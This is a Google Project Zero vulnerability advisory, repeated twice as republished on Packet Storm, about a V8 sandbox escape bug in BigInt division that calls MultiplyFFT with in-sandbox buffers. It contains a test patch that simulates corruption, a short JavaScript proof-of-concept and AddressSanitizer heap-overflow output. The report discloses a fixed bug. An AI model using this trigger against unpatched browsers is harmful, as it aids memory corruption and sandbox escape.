Description
This is a variant of crbug.com/474041332. The issue there was that MultiplyFFT, an optimized version of integer multiplication for very large inputs, is not robust against concurrent modification of its input buffers, but was called from...
Basic Information
ID
PACKETSTORM:219160
Published
Apr 17, 2026 at 00:00
Affected Product
Affected Versions
Vulnerability Details
This is a variant of crbug.com/474041332. The issue there was that MultiplyFFT, an optimized version of integer multiplication for very large inputs, is not robust against concurrent modification of its input buffers, but was called from ProcessorImpl::FromStringLarge with a temporary buffer inside the sandbox. The fix was to switch the caller to instead supply an out-of-sandbox temporary buffer.
However, it seems that there is at least one other function that calls MultiplyFFT with in-sandbox buffers: DivideBurnikelZiegler, used during BigInt division. An excerpt of the function is shown below.
void ProcessorImpl::DivideBurnikelZiegler(RWDigits Q, RWDigits R, Digits A,
Digits B) {
// Q, A, B are inside the sandbox during BigInt division
// ...
for (int i = t - 3; i >= 0; i--) {
// ...
RWDigits Qi(Q, i * n, n); // [Inside the sandbox]
bz.D2n1n(Qi, Ri, Z, B); // This will end up calling MultiplyFFT
if (should_terminate()) return;
}
The call to D2n1n will eventually call MultiplyFFT with (a part of) Q as a temporary buffer. As such, the same bug can trigger on this code path.
Reproduction
Similar to issue 474041332, this bug is somewhat tricky to reproduce purely from JavaScript, but easily reproducible with a custom patch to the MultiplyFFT logic:
diff --git a/BUILD.gn b/BUILD.gn
index 953b81e72da..92103e87b1f 100644
--- a/BUILD.gn
+++ b/BUILD.gn
@@ -7418,6 +7418,8 @@ v8_source_set("v8_bigint") {
}
configs = [ ":internal_config" ]
+
+ deps = [ ":v8_abseil" ]
}
v8_header_set("v8_heap_base_headers") {
diff --git a/src/bigint/mul-fft.cc b/src/bigint/mul-fft.cc
index f1d8bff8496..9840a82a20a 100644
--- a/src/bigint/mul-fft.cc
+++ b/src/bigint/mul-fft.cc
@@ -7,10 +7,18 @@
// Christoph LΓΌders: Fast Multiplication of Large Integers,
// http://arxiv.org/abs/1503.04955
+#include "src/sandbox/sandbox.h"
+// Necessary hack to make it compile.
+#undef CHECK
+#undef DCHECK
+#undef USE
+
#include "src/bigint/bigint-internal.h"
#include "src/bigint/digit-arithmetic.h"
#include "src/bigint/util.h"
+#include <unistd.h>
+
namespace v8 {
namespace bigint {
@@ -479,6 +487,20 @@ class FFTContainer {
inline void CopyAndZeroExtend(digit_t* dst, const digit_t* src,
int digits_to_copy, size_t total_bytes) {
+ // Simulate concurrent corruption inside the sandbox.
+ uintptr_t src_addr = reinterpret_cast<uintptr_t>(src);
+ if (internal::InsideSandbox(src_addr)) {
+ for (int i = 0; i < digits_to_copy; i++) {
+ if ((std::rand() % 10) == 0) {
+ digit_t* writable_src = const_cast<digit_t*>(src);
+ writable_src[i] = static_cast<digit_t>(-1);
+ }
+ }
+ }
+
size_t bytes_to_copy = digits_to_copy * sizeof(digit_t);
memcpy(dst, static_cast<const void*>(src), bytes_to_copy);
memset(dst + digits_to_copy, 0, total_bytes - bytes_to_copy);
Then the issue can be observed with a simple testcase such as:
const x = 123456n;
const a = 31337n ** x;
const b = 42n ** x;
const c = a / b;
When run in an ASAN-enabled build:
> cat out/sbxtst/args.gn
is_debug = false
dcheck_always_on = false
is_asan = true
target_cpu = "x64"
> ./out/x64.sbxtst/d8 --sandbox-testing poc.js
=================================================================
==250549==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ed3b8818800 at pc 0x55ffcb3bacc4 bp 0x7ffff5cbf930 sp 0x7ffff5cbf928
WRITE of size 8 at 0x7ed3b8818800 thread T0
#0 0x55ffcb3bacc3 in v8::bigint::ProcessorImpl::MultiplyFFT(v8::bigint::RWDigits, v8::bigint::Digits, v8::bigint::Digits) src/bigint/bigint.h:162:37
#1 0x55ffcb3867fb in v8::bigint::ProcessorImpl::Multiply(v8::bigint::RWDigits, v8::bigint::Digits, v8::bigint::Digits) src/bigint/bigint-internal.cc:49:10
#2 0x55ffcb39b74c in v8::bigint::(anonymous namespace)::BZ::D3n2n(v8::bigint::RWDigits, v8::bigint::RWDigits, v8::bigint::Digits, v8::bigint::Digits, v8::bigint::Digits) src/bigint/div-burnikel.cc:138:10
#3 0x55ffcb399d2a in v8::bigint::(anonymous namespace)::BZ::D2n1n(v8::bigint::RWDigits, v8::bigint::RWDigits, v8::bigint::Digits, v8::bigint::Digits) src/bigint/div-burnikel.cc:189:3
#4 0x55ffcb398c89 in v8::bigint::ProcessorImpl::DivideBurnikelZiegler(v8::bigint::RWDigits, v8::bigint::RWDigits, v8::bigint::Digits, v8::bigint::Digits) src/bigint/div-burnikel.cc:262:8
#5 0x55ffcb387363 in v8::bigint::ProcessorImpl::Divide(v8::bigint::RWDigits, v8::bigint::Digits, v8::bigint::Digits) src/bigint/bigint-internal.cc:81:5
#6 0x55ffcb388e13 in v8::bigint::Processor::Divide(v8::bigint::RWDigits, v8::bigint::Digits, v8::bigint::Digits) src/bigint/bigint-internal.cc:138:9
#7 0x55ffc8aa7199 in v8::internal::MutableBigInt_AbsoluteDivAndCanonicalize(unsigned long, unsigned long, unsigned long) src/objects/bigint.cc:1549:56
#8 0x55ffcdfe5724 in Builtins_BigIntDivideNoThrow setup-isolate-deserialize.cc
#9 0x55ffce098333 in Builtins_DivHandler setup-isolate-deserialize.cc
#10 0x55ffcdee8829 in Builtins_InterpreterEntryTrampoline setup-isolate-deserialize.cc
#11 0x55ffcdee55db in Builtins_JSEntryTrampoline setup-isolate-deserialize.cc
#12 0x55ffcdee532a in Builtins_JSEntry setup-isolate-deserialize.cc
#13 0x55ffc805e1b2 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) src/execution/simulator.h:216:12
#14 0x55ffc8060ad8 in v8::internal::Execution::CallScript(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::JSFunction>, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::DirectHandle<v8::internal::Object>) src/execution/execution.cc:542:10
#15 0x55ffc7b6336b in v8::Script::Run(v8::Local<v8::Context>, v8::Local<v8::Data>) src/api/api.cc:2015:7
#16 0x55ffc77312ee in v8::Shell::ExecuteString(v8::Isolate*, v8::Local<v8::String>, v8::Local<v8::String>, v8::Shell::ReportExceptions, v8::Global<v8::Value>*) src/d8/d8.cc:1037:44
#17 0x55ffc777990d in v8::SourceGroup::Execute(v8::Isolate*) src/d8/d8.cc:5614:10
#18 0x55ffc7789403 in v8::Shell::RunMainIsolate(v8::Isolate*, bool) src/d8/d8.cc:6633:37
#19 0x55ffc7788712 in v8::Shell::RunMain(v8::Isolate*, bool) src/d8/d8.cc:6541:18
#20 0x55ffc778d709 in v8::Shell::Main(int, char**) src/d8/d8.cc:7456:18
#21 0x7fc3b967eca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
0x7ed3b8818800 is located 0 bytes after 65536-byte region [0x7ed3b8808800,0x7ed3b8818800)
allocated by thread T0 here:
#0 0x55ffc76f784d in operator new[](unsigned long) (/usr/local/google/home/saelo/Workspace/v8/v8/out/sbxfuzz/d8+0x24a984d) (BuildId: e754bcc7c236b531)
#1 0x55ffcb396fc6 in v8::bigint::ProcessorImpl::DivideBurnikelZiegler(v8::bigint::RWDigits, v8::bigint::RWDigits, v8::bigint::Digits, v8::bigint::Digits) src/bigint/bigint-internal.h:140:43
#2 0x55ffcb387363 in v8::bigint::ProcessorImpl::Divide(v8::bigint::RWDigits, v8::bigint::Digits, v8::bigint::Digits) src/bigint/bigint-internal.cc:81:5
#3 0x55ffcb388e13 in v8::bigint::Processor::Divide(v8::bigint::RWDigits, v8::bigint::Digits, v8::bigint::Digits) src/bigint/bigint-internal.cc:138:9
#4 0x55ffc8aa7199 in v8::internal::MutableBigInt_AbsoluteDivAndCanonicalize(unsigned long, unsigned long, unsigned long) src/objects/bigint.cc:1549:56
#5 0x55ffcdfe5724 in Builtins_BigIntDivideNoThrow setup-isolate-deserialize.cc
#6 0x55ffce098333 in Builtins_DivHandler setup-isolate-deserialize.cc
#7 0x55ffcdee8829 in Builtins_InterpreterEntryTrampoline setup-isolate-deserialize.cc
#8 0x55ffcdee55db in Builtins_JSEntryTrampoline setup-isolate-deserialize.cc
#9 0x55ffcdee532a in Builtins_JSEntry setup-isolate-deserialize.cc
#10 0x55ffc805e1b2 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) src/execution/simulator.h:216:12
#11 0x55ffc8060ad8 in v8::internal::Execution::CallScript(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::JSFunction>, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::DirectHandle<v8::internal::Object>) src/execution/execution.cc:542:10
#12 0x55ffc7b6336b in v8::Script::Run(v8::Local<v8::Context>, v8::Local<v8::Data>) src/api/api.cc:2015:7
#13 0x55ffc77312ee in v8::Shell::ExecuteString(v8::Isolate*, v8::Local<v8::String>, v8::Local<v8::String>, v8::Shell::ReportExceptions, v8::Global<v8::Value>*) src/d8/d8.cc:1037:44
#14 0x55ffc777990d in v8::SourceGroup::Execute(v8::Isolate*) src/d8/d8.cc:5614:10
#15 0x55ffc7789403 in v8::Shell::RunMainIsolate(v8::Isolate*, bool) src/d8/d8.cc:6633:37
#16 0x55ffc7788712 in v8::Shell::RunMain(v8::Isolate*, bool) src/d8/d8.cc:6541:18
#17 0x55ffc778d709 in v8::Shell::Main(int, char**) src/d8/d8.cc:7456:18
#18 0x7fc3b967eca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
SUMMARY: AddressSanitizer: heap-buffer-overflow src/bigint/bigint.h:162:37 in v8::bigint::ProcessorImpl::MultiplyFFT(v8::bigint::RWDigits, v8::bigint::Digits, v8::bigint::Digits)
Shadow bytes around the buggy address:
0x7ed3b8818580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7ed3b8818600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7ed3b8818680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7ed3b8818700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7ed3b8818780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7ed3b8818800:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7ed3b8818880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7ed3b8818900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7ed3b8818980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7ed3b8818a00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7ed3b8818a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==250549==ABORTING
## V8 sandbox violation detected!
Fix Recommendation
As an initial spot fix it may again be possible to use a different out-of-sandbox temporary buffer. However, the BigInt parsing logic has historically been somewhat fragile when exposed to in-sandbox corruption (see the other sandbox-related CHECKs in src/bigint). As such, for a more thorough fix I would recommend refactoring the code to avoid operating on both in-sandbox and out-of-sandbox memory at the same time, ideally by moving all dynamic memory allocations performed by this code into the sandbox. Afterwards, similar bugs would only lead to further in-sandbox corruption and the BigInt logic would therefore effectively behave like sandboxed code (not writing to out-of-sandbox memory).
Credit Information
Samuel GroΓ of Google Project Zero
Disclosure Deadline
This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2026-04-26.
For more details, see the Project Zero vulnerability disclosure policy: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html
Issue summary
This is a variant of crbug.com/474041332 . The issue there was that MultiplyFFT, an optimized version of integer multiplication for very large inputs, is not robust against concurrent modification of its input buffers, but was called from ProcessorImpl::FromStringLarge with a temporary buffer inside the sandbox. The fix was to switch the caller to instead supply an out-of-sandbox temporary buffer.
For more details, see the Project Zero vulnerability disclosure policy:
https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html
https://crbug.com/478814654
This was fixed with https://crrev.com/c/7581282 which first shipped in Chrome 147.0.7727.24 (Stable channel).
Credit: saelo
This is a variant of crbug.com/474041332. The issue there was that MultiplyFFT, an optimized version of integer multiplication for very large inputs, is not robust against concurrent modification of its input buffers, but was called from ProcessorImpl::FromStringLarge with a temporary buffer inside the sandbox. The fix was to switch the caller to instead supply an out-of-sandbox temporary buffer.
However, it seems that there is at least one other function that calls MultiplyFFT with in-sandbox buffers: DivideBurnikelZiegler, used during BigInt division. An excerpt of the function is shown below.
void ProcessorImpl::DivideBurnikelZiegler(RWDigits Q, RWDigits R, Digits A,
Digits B) {
// Q, A, B are inside the sandbox during BigInt division
// ...
for (int i = t - 3; i >= 0; i--) {
// ...
RWDigits Qi(Q, i * n, n); // [Inside the sandbox]
bz.D2n1n(Qi, Ri, Z, B); // This will end up calling MultiplyFFT
if (should_terminate()) return;
}
The call to D2n1n will eventually call MultiplyFFT with (a part of) Q as a temporary buffer. As such, the same bug can trigger on this code path.
Reproduction
Similar to issue 474041332, this bug is somewhat tricky to reproduce purely from JavaScript, but easily reproducible with a custom patch to the MultiplyFFT logic:
diff --git a/BUILD.gn b/BUILD.gn
index 953b81e72da..92103e87b1f 100644
--- a/BUILD.gn
+++ b/BUILD.gn
@@ -7418,6 +7418,8 @@ v8_source_set("v8_bigint") {
}
configs = [ ":internal_config" ]
+
+ deps = [ ":v8_abseil" ]
}
v8_header_set("v8_heap_base_headers") {
diff --git a/src/bigint/mul-fft.cc b/src/bigint/mul-fft.cc
index f1d8bff8496..9840a82a20a 100644
--- a/src/bigint/mul-fft.cc
+++ b/src/bigint/mul-fft.cc
@@ -7,10 +7,18 @@
// Christoph LΓΌders: Fast Multiplication of Large Integers,
// http://arxiv.org/abs/1503.04955
+#include "src/sandbox/sandbox.h"
+// Necessary hack to make it compile.
+#undef CHECK
+#undef DCHECK
+#undef USE
+
#include "src/bigint/bigint-internal.h"
#include "src/bigint/digit-arithmetic.h"
#include "src/bigint/util.h"
+#include <unistd.h>
+
namespace v8 {
namespace bigint {
@@ -479,6 +487,20 @@ class FFTContainer {
inline void CopyAndZeroExtend(digit_t* dst, const digit_t* src,
int digits_to_copy, size_t total_bytes) {
+ // Simulate concurrent corruption inside the sandbox.
+ uintptr_t src_addr = reinterpret_cast<uintptr_t>(src);
+ if (internal::InsideSandbox(src_addr)) {
+ for (int i = 0; i < digits_to_copy; i++) {
+ if ((std::rand() % 10) == 0) {
+ digit_t* writable_src = const_cast<digit_t*>(src);
+ writable_src[i] = static_cast<digit_t>(-1);
+ }
+ }
+ }
+
size_t bytes_to_copy = digits_to_copy * sizeof(digit_t);
memcpy(dst, static_cast<const void*>(src), bytes_to_copy);
memset(dst + digits_to_copy, 0, total_bytes - bytes_to_copy);
Then the issue can be observed with a simple testcase such as:
const x = 123456n;
const a = 31337n ** x;
const b = 42n ** x;
const c = a / b;
When run in an ASAN-enabled build:
> cat out/sbxtst/args.gn
is_debug = false
dcheck_always_on = false
is_asan = true
target_cpu = "x64"
> ./out/x64.sbxtst/d8 --sandbox-testing poc.js
=================================================================
==250549==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ed3b8818800 at pc 0x55ffcb3bacc4 bp 0x7ffff5cbf930 sp 0x7ffff5cbf928
WRITE of size 8 at 0x7ed3b8818800 thread T0
#0 0x55ffcb3bacc3 in v8::bigint::ProcessorImpl::MultiplyFFT(v8::bigint::RWDigits, v8::bigint::Digits, v8::bigint::Digits) src/bigint/bigint.h:162:37
#1 0x55ffcb3867fb in v8::bigint::ProcessorImpl::Multiply(v8::bigint::RWDigits, v8::bigint::Digits, v8::bigint::Digits) src/bigint/bigint-internal.cc:49:10
#2 0x55ffcb39b74c in v8::bigint::(anonymous namespace)::BZ::D3n2n(v8::bigint::RWDigits, v8::bigint::RWDigits, v8::bigint::Digits, v8::bigint::Digits, v8::bigint::Digits) src/bigint/div-burnikel.cc:138:10
#3 0x55ffcb399d2a in v8::bigint::(anonymous namespace)::BZ::D2n1n(v8::bigint::RWDigits, v8::bigint::RWDigits, v8::bigint::Digits, v8::bigint::Digits) src/bigint/div-burnikel.cc:189:3
#4 0x55ffcb398c89 in v8::bigint::ProcessorImpl::DivideBurnikelZiegler(v8::bigint::RWDigits, v8::bigint::RWDigits, v8::bigint::Digits, v8::bigint::Digits) src/bigint/div-burnikel.cc:262:8
#5 0x55ffcb387363 in v8::bigint::ProcessorImpl::Divide(v8::bigint::RWDigits, v8::bigint::Digits, v8::bigint::Digits) src/bigint/bigint-internal.cc:81:5
#6 0x55ffcb388e13 in v8::bigint::Processor::Divide(v8::bigint::RWDigits, v8::bigint::Digits, v8::bigint::Digits) src/bigint/bigint-internal.cc:138:9
#7 0x55ffc8aa7199 in v8::internal::MutableBigInt_AbsoluteDivAndCanonicalize(unsigned long, unsigned long, unsigned long) src/objects/bigint.cc:1549:56
#8 0x55ffcdfe5724 in Builtins_BigIntDivideNoThrow setup-isolate-deserialize.cc
#9 0x55ffce098333 in Builtins_DivHandler setup-isolate-deserialize.cc
#10 0x55ffcdee8829 in Builtins_InterpreterEntryTrampoline setup-isolate-deserialize.cc
#11 0x55ffcdee55db in Builtins_JSEntryTrampoline setup-isolate-deserialize.cc
#12 0x55ffcdee532a in Builtins_JSEntry setup-isolate-deserialize.cc
#13 0x55ffc805e1b2 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) src/execution/simulator.h:216:12
#14 0x55ffc8060ad8 in v8::internal::Execution::CallScript(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::JSFunction>, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::DirectHandle<v8::internal::Object>) src/execution/execution.cc:542:10
#15 0x55ffc7b6336b in v8::Script::Run(v8::Local<v8::Context>, v8::Local<v8::Data>) src/api/api.cc:2015:7
#16 0x55ffc77312ee in v8::Shell::ExecuteString(v8::Isolate*, v8::Local<v8::String>, v8::Local<v8::String>, v8::Shell::ReportExceptions, v8::Global<v8::Value>*) src/d8/d8.cc:1037:44
#17 0x55ffc777990d in v8::SourceGroup::Execute(v8::Isolate*) src/d8/d8.cc:5614:10
#18 0x55ffc7789403 in v8::Shell::RunMainIsolate(v8::Isolate*, bool) src/d8/d8.cc:6633:37
#19 0x55ffc7788712 in v8::Shell::RunMain(v8::Isolate*, bool) src/d8/d8.cc:6541:18
#20 0x55ffc778d709 in v8::Shell::Main(int, char**) src/d8/d8.cc:7456:18
#21 0x7fc3b967eca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
0x7ed3b8818800 is located 0 bytes after 65536-byte region [0x7ed3b8808800,0x7ed3b8818800)
allocated by thread T0 here:
#0 0x55ffc76f784d in operator new[](unsigned long) (/usr/local/google/home/saelo/Workspace/v8/v8/out/sbxfuzz/d8+0x24a984d) (BuildId: e754bcc7c236b531)
#1 0x55ffcb396fc6 in v8::bigint::ProcessorImpl::DivideBurnikelZiegler(v8::bigint::RWDigits, v8::bigint::RWDigits, v8::bigint::Digits, v8::bigint::Digits) src/bigint/bigint-internal.h:140:43
#2 0x55ffcb387363 in v8::bigint::ProcessorImpl::Divide(v8::bigint::RWDigits, v8::bigint::Digits, v8::bigint::Digits) src/bigint/bigint-internal.cc:81:5
#3 0x55ffcb388e13 in v8::bigint::Processor::Divide(v8::bigint::RWDigits, v8::bigint::Digits, v8::bigint::Digits) src/bigint/bigint-internal.cc:138:9
#4 0x55ffc8aa7199 in v8::internal::MutableBigInt_AbsoluteDivAndCanonicalize(unsigned long, unsigned long, unsigned long) src/objects/bigint.cc:1549:56
#5 0x55ffcdfe5724 in Builtins_BigIntDivideNoThrow setup-isolate-deserialize.cc
#6 0x55ffce098333 in Builtins_DivHandler setup-isolate-deserialize.cc
#7 0x55ffcdee8829 in Builtins_InterpreterEntryTrampoline setup-isolate-deserialize.cc
#8 0x55ffcdee55db in Builtins_JSEntryTrampoline setup-isolate-deserialize.cc
#9 0x55ffcdee532a in Builtins_JSEntry setup-isolate-deserialize.cc
#10 0x55ffc805e1b2 in v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) src/execution/simulator.h:216:12
#11 0x55ffc8060ad8 in v8::internal::Execution::CallScript(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::JSFunction>, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::DirectHandle<v8::internal::Object>) src/execution/execution.cc:542:10
#12 0x55ffc7b6336b in v8::Script::Run(v8::Local<v8::Context>, v8::Local<v8::Data>) src/api/api.cc:2015:7
#13 0x55ffc77312ee in v8::Shell::ExecuteString(v8::Isolate*, v8::Local<v8::String>, v8::Local<v8::String>, v8::Shell::ReportExceptions, v8::Global<v8::Value>*) src/d8/d8.cc:1037:44
#14 0x55ffc777990d in v8::SourceGroup::Execute(v8::Isolate*) src/d8/d8.cc:5614:10
#15 0x55ffc7789403 in v8::Shell::RunMainIsolate(v8::Isolate*, bool) src/d8/d8.cc:6633:37
#16 0x55ffc7788712 in v8::Shell::RunMain(v8::Isolate*, bool) src/d8/d8.cc:6541:18
#17 0x55ffc778d709 in v8::Shell::Main(int, char**) src/d8/d8.cc:7456:18
#18 0x7fc3b967eca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
SUMMARY: AddressSanitizer: heap-buffer-overflow src/bigint/bigint.h:162:37 in v8::bigint::ProcessorImpl::MultiplyFFT(v8::bigint::RWDigits, v8::bigint::Digits, v8::bigint::Digits)
Shadow bytes around the buggy address:
0x7ed3b8818580: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7ed3b8818600: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7ed3b8818680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7ed3b8818700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x7ed3b8818780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x7ed3b8818800:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7ed3b8818880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7ed3b8818900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7ed3b8818980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7ed3b8818a00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7ed3b8818a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==250549==ABORTING
## V8 sandbox violation detected!
Fix Recommendation
As an initial spot fix it may again be possible to use a different out-of-sandbox temporary buffer. However, the BigInt parsing logic has historically been somewhat fragile when exposed to in-sandbox corruption (see the other sandbox-related CHECKs in src/bigint). As such, for a more thorough fix I would recommend refactoring the code to avoid operating on both in-sandbox and out-of-sandbox memory at the same time, ideally by moving all dynamic memory allocations performed by this code into the sandbox. Afterwards, similar bugs would only lead to further in-sandbox corruption and the BigInt logic would therefore effectively behave like sandboxed code (not writing to out-of-sandbox memory).
Credit Information
Samuel GroΓ of Google Project Zero
Disclosure Deadline
This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2026-04-26.
For more details, see the Project Zero vulnerability disclosure policy: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html
Issue summary
This is a variant of crbug.com/474041332 . The issue there was that MultiplyFFT, an optimized version of integer multiplication for very large inputs, is not robust against concurrent modification of its input buffers, but was called from ProcessorImpl::FromStringLarge with a temporary buffer inside the sandbox. The fix was to switch the caller to instead supply an out-of-sandbox temporary buffer.
For more details, see the Project Zero vulnerability disclosure policy:
https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html
https://crbug.com/478814654
This was fixed with https://crrev.com/c/7581282 which first shipped in Chrome 147.0.7727.24 (Stable channel).
Credit: saelo